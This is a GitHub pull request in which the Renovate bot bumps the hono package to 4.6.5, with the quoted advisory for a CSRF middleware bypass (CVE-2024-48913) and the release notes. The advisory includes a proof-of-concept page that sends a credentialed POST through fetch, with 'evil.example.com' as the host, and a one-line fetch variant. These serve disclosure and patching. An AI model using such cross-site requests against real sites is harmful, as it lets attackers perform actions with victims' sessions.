Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update dependency hono to v4.6.5 [security] #501

Merged
merged 1 commit into from
Oct 16, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Oct 15, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
hono (source) 4.6.4 -> 4.6.5 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-48913

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.


Release Notes

honojs/hono (hono)

v4.6.5

Compare Source

Security fix for CSRF Protection Middleware

This release includes a security fix for CSRF Protection Middleware. If you are using CSRF Protection Middleware, please upgrade this hono package immediately.

Before this release, a request without a Content-Type header can bypass the protection. This fix does not allow it. See: GHSA-2234-fmw7-43wr

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.4...v4.6.5


Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Tokyo, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

cloudflare-workers-and-pages bot commented Oct 15, 2024

Deploying kcmsx with  Cloudflare Pages  Cloudflare Pages

Latest commit: 009f60e
Status: ✅  Deploy successful!
Preview URL: https://c36555ce.kcmsx.pages.dev
Branch Preview URL: https://renovate-npm-hono-vulnerabil.kcmsx.pages.dev

View logs

@renovate renovate bot enabled auto-merge (rebase) October 15, 2024 18:12
@renovate renovate bot merged commit ebbfa65 into main Oct 16, 2024
4 checks passed
@renovate renovate bot deleted the renovate/npm-hono-vulnerability branch October 16, 2024 04:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
Status: ✅ Done
Development

Successfully merging this pull request may close these issues.

0 participants